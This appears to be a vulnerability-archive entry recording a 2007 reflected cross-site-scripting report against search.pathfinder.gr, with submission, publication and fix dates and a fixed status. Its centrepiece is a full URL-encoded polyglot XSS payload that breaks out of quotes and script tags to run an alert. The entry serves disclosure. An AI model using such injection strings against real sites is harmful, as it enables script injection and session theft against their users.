search.pathfinder.gr cross-site-scripting (XSS) Vulnerability

Advertisements:

Security researcher Hexspirit, has submitted on 20/02/2007 a cross-site-scripting (XSS) vulnerability affecting search.pathfinder.gr, which at the time of submission ranked 1365 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 20/02/2007. It is currently fixed.

Date submitted: 20/02/2007

Date published: 20/02/2007

Date fixed: 22/12/2007

Status:

FIXED

Author: Hexspirit

Domain: search.pathfinder.gr

Category: XSS

Pagerank: 1365

URL: http://search.pathfinder.gr/search?q=http%3A%2F%2Flogin.pathfinder.gr%2Findex.php%3Fplogin%3D%27%3Ba
lert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%27%3Balert%28String.fromCharCode%2888%2C83%
2C83%29%29%2F%2F%2522%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2F%2F%5C%2522%3Balert%28Str
ing.fromCharCode%2888%2C83%2C83%29%29%2F%2F--%253E%253C%2FSCRIPT%253E%2522%253E%27%253E%253CSCRIPT%2
53Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%253C%2FSCRIPT%253E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention